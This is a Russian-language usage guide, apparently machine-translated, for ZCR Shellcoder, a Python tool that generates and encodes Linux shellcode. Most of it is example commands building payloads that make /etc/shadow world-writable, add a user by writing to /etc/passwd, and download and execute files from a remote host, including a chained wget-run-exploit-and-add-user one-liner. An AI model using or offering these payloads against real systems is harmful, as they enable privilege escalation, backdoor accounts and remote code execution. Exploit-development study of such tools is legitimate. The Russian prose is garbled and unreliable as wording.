

ZCR Shellcoder

Писатель: [Али Размджу](#)

Переводчик: [Шива Размджу](#)

ZeroDay Cyber Research Shellcoder (генератор), это открытый источник на языке "python" с помощью которого Вам возможно рождасть изготовленные shellcodes Вами для операции списочных системов. Это программное обеспечение может быть выполняться на Windows/Linux&Unix/OSX и других OS, использованием этого языка python 2.7.x.

Как это работает?

Для показания перечни (switches), вы должны выполнять программное обеспечение в формате "-h" or "--h" or "-help" or "--help" рекомендаций.

```
ZeroDay Cyber Research Shellcoder

Switches:
-h, --h, -help, --help => to see this help guide
-os => choose your os to create shellcode
-oslist => list os for switch -os
-o => output filename
-job => what shellcode gonna do for you ?
-joblist => list of -job switch
-encode => generate shellcode with encode
-types => types of encode for -encode switch
-update => check for update

Author Website: http://z3r0d4y.com/
Project URL: http://www.z3r0d4y.com/p/zcr-shellcoder.html
Ali@Z3r0D4y.Com
key: ASIIN_BLUE_RUBY : version: 1.0.0 : Release Date: 2015 May 22
```

-os switch разрешает Вам выбирать свой получатель оперативного система. Вы можете видеть перечень os, которая поддерживается -oslist switch.

```
[+] linux_x86
[+] linux_x64
[+] linux_arm
[+] linux_mips
[+] freebsd_x86
[+] freebsd_x64
[+] windows_x86
[+] windows_x64
[+] osx
[+] solaris_x86
[+] solaris_x64

Author Website: http://z3r0d4y.com/
Project URL: http://www.z3r0d4y.com/p/zcr-shellcoder.html
Ali@Z3r0D4y.Com
key: ASIIN_BLUE_RUBY : version: 1.0.0 : Release Date: 2015 May 22
```

-o switch, это выводимая имя файла, которая рождается в выводимой файле.

-job switch используется для выбора функции на рождение shellcode. Вы можете видеть перечень функций с -joblist switch.

```
[+] exec('/path/file')
[+] chmod('/path/file','permission number')
[+] write('/path/file','text to write')
[+] file_create('/path/file','text to write')
[+] dir_create('/path/folder')
[+] download('url','filename')
[+] download_execute('url','filename','command to execute')
[+] system('command to execute')
[+] script_executor('name of script','path and name of your script in your pc','
execute command')

Author Website: http://z3r0d4y.com/
Project URL: http://www.z3r0d4y.com/p/zcr-shellcoder.html
Ali@Z3r0D4y.Com
key: ASIIN_BLUE_RUBY | version: 1.0.0 | Release Date: 2015 May 22
```

-encode switch используйте на выбор своего shellcode encode type, чтобы выделить перечень, тогда выполните -types switch.

```
[+] none
[+] xor_random
[+] xor_yourvalue
[+] add_random
[+] add_yourvalue
[+] sub_random
[+] sub_yourvalue
[+] inc
[+] inc_timesyouwant
[+] dec
[+] dec_timesyouwant
[+] mix_all

Author Website: http://z3r0d4y.com/
Project URL: http://www.z3r0d4y.com/p/zcr-shellcoder.html
Ali@Z3r0D4y.Com
key: ASIIN_BLUE_RUBY | version: 1.0.0 | Release Date: 2015 May 22
```

-update (дополнение) switch для начала дополнения программного обеспечения.

Также увидите архив вариантов вот тут:

<https://github.com/Ali-Razmjoo/ZCR-Shellcoder-Archive>

И последнее дополнение доступно:

<https://github.com/Ali-Razmjoo/ZCR-Shellcoder>

и : <http://www.z3r0d4y.com/p/zcr-shellcoder.html>

Доступные признаки:

OS_LIST / Functions	Linux x86	Linux x64	Linux Arm	Linux Mips	FreeBSD X64	FreeBSD x86	Windows x64	Windows x86	OSX	Solaris x64	Solaris x86
exec	1	0	0	0	0	0	0	0	0	0	0
chmod	1	0	0	0	0	0	0	0	0	0	0
write	1	0	0	0	0	0	0	0	0	0	0
file_create	1	0	0	0	0	0	0	0	0	0	0
dir_create	1	0	0	0	0	0	0	0	0	0	0
download	1	0	0	0	0	0	0	0	0	0	0
download_execute	1	0	0	0	0	0	0	0	0	0	0
system	1	0	0	0	0	0	0	0	0	0	0
script_executor	1	0	0	0	0	0	0	0	0	0	0
Encodes											
none	1	1	1	1	1	1	1	1	1	1	1
xor_random	1	0	0	0	0	0	0	0	0	0	0
xor_yourvalue	1	0	0	0	0	0	0	0	0	0	0
add_random	1	0	0	0	0	0	0	0	0	0	0
add_yourvalue	1	0	0	0	0	0	0	0	0	0	0
sub_random	1	0	0	0	0	0	0	0	0	0	0
sub_yourvalue	1	0	0	0	0	0	0	0	0	0	0
inc	0	0	0	0	0	0	0	0	0	0	0
inc_timesyouwant	0	0	0	0	0	0	0	0	0	0	0
dec	0	0	0	0	0	0	0	0	0	0	0
dec_timesyouwant	0	0	0	0	0	0	0	0	0	0	0
mix_all	0	0	0	0	0	0	0	0	0	0	0

Образец исполнительных рекомендаций:

Windows cmd:

```
python shellcoder.py -os linux_x86 -job chmod('/etc/shadow','777') -encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -job write('/etc/passwd','Ali.....[add user]') -encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -job exec('/usr/bin/python') -encode none -o shellcode.asm
```

system()

```
python shellcoder.py -os linux_x86 -job system('chmod[space]777[space]/etc/shadow') -encode none -o shellcode.asm
```

multi command execution

```
python shellcoder.py -os linux_x86 -job system('chmod[space]777[space]/etc/shadow;wget[space]exploit[space];chmod[space]+x[space]exploit[space];./exploit;echo[space]user:pass[space]>>[space]/etc/passwd') -encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -encode none -job file_create('/root/Desktop/hello.txt','hello') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job file_create('/root/Desktop/hello2.txt','hello[space]world[space]!') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job dir_create('/root/Desktop/mydirectory') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job download('http://www.z3r0d4y.com/exploit.type','myfile.type') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','./myfile.type') -o  
file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','chmod[space]77  
7[space]myfile.type;sh[space]myfile.type') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
script_executor('script.type','D:\\myfile.type','./script.type') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
script_executor('z3r0d4y.sh','/root/z3r0d4y.sh','sh[space]z3r0d4y.sh') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
script_executor('ali.py','/root/Desktop/Oday.py','chmod[space]+x[space]ali.py;[space]pyt  
hon[space]ali.py') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode xor_random -job chmod('/etc/shadow','777')  
-o file.txt
```

```
python shellcoder.py -os linux_x86 -encode xor_random -job chmod('/etc/passwd','444')  
-o file.txt
```

```
python shellcoder.py -os linux_x86 -encode xor_0x41414141 -job  
chmod('/etc/shadow','777') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode xor_0x45872f4d -job  
chmod('/etc/passwd','444') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode add_random -job chmod('/etc/passwd','444')  
-o file.txt
```

```
python shellcoder.py -os linux_x86 -encode add_0x41414141 -job  
chmod('/etc/passwd','777') -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode sub_random -job chmod('/etc/passwd','777')  
-o file.txt
```

```
python shellcoder.py -os linux_x86 -encode sub_0x41414141 -job  
chmod('/etc/passwd','444') -o file.txt
```

Linux and OSX Terminal:

you need to put a "\" behind the "(" and "\"" char in your switch.

```
python shellcoder.py -os linux_x86 -job chmod\'(\'/etc/shadow\' , \'777\'\'\' -encode none  
-o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -job write\'(\'/etc/passwd\' , \'Ali.....[add user] \'\'\' -  
encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -job exec\'(\'/usr/bin/python\'\'\' -encode none -o  
shellcode.asm
```

system()

```
python shellcoder.py -os linux_x86 -job  
system\'(\' chmod[space]777[space]/etc/shadow\'\'\' -encode none -o shellcode.asm
```

multi command execution

```
python shellcoder.py -os linux_x86 -job  
system\'(\' chmod[space]777[space]/etc/shadow;wget[space]exploit[space];chmod[space]+  
x[space]exploit[space];./exploit;echo[space]user:pass[space]>>[space]/etc/passwd\'\'\' -  
encode none -o shellcode.asm
```

```
python shellcoder.py -os linux_x86 -encode none -job  
file_create\'(\'/root/Desktop/hello.txt\' , \'hello\'\'\' -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
file_create\'(\'/root/Desktop/hello2.txt\' , \'hello[space]world[space]!\'\'\' -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
dir_create\'(\'/root/Desktop/mydirectory\'\'\' -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
download\'(\' http://www.z3r0d4y.com/exploit.type\' , \'myfile.type\'\'\' -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
download_execute\('http://www.z3r0d4y.com/exploit.type',\myfile.type',\./myfile.t  
ype'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
download_execute\('http://www.z3r0d4y.com/exploit.type',\myfile.type',\chmod[sp  
ace]777[space]myfile.type;sh[space]myfile.type'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
script_executor\('script.type',\D:\\myfile.type',\./script.type'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
script_executor\('z3r0d4y.sh',\./root/z3r0d4y.sh',\sh[space]z3r0d4y.sh'\) -o  
file.txt
```

```
python shellcoder.py -os linux_x86 -encode none -job  
script_executor\('ali.py',\./root/Desktop/Oday.py',\chmod[space]+x[space]ali.py;[spa  
ce]python[space]ali.py'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode xor_random -job  
chmod\('etc/shadow',\777'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode xor_random -job  
chmod\('etc/passwd',\444'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode xor_0x41414141 -job  
chmod\('etc/shadow',\777'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode xor_0x45872f4d -job  
chmod\('etc/passwd',\444'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode add_random -job  
chmod\('etc/passwd',\444'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode add_0x41414141 -job  
chmod\('etc/passwd',\777'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode sub_random -job  
chmod\('etc/passwd',\777'\) -o file.txt
```

```
python shellcoder.py -os linux_x86 -encode sub_0x41414141 -job  
chmod\(\'/etc/passwd\','444'\) -o file.txt
```

Для получения более информации и анализирования программного обеспечения и рекомендаций, посетите: z3r0d4y.com.

Ссылки:

ZeroDay Cyber Research z3r0d4y.com

Home : <http://www.z3r0d4y.com/p/zcr-shellcoder.html>

Analysis post: http://www.z3r0d4y.com/2015/05/zcr-shellcoder-review-and-analysis_20.html

Github: <https://github.com/Ali-Razmjoo/ZCR-Shellcoder>

Archive: <https://github.com/Ali-Razmjoo/ZCR-Shellcoder-Archive>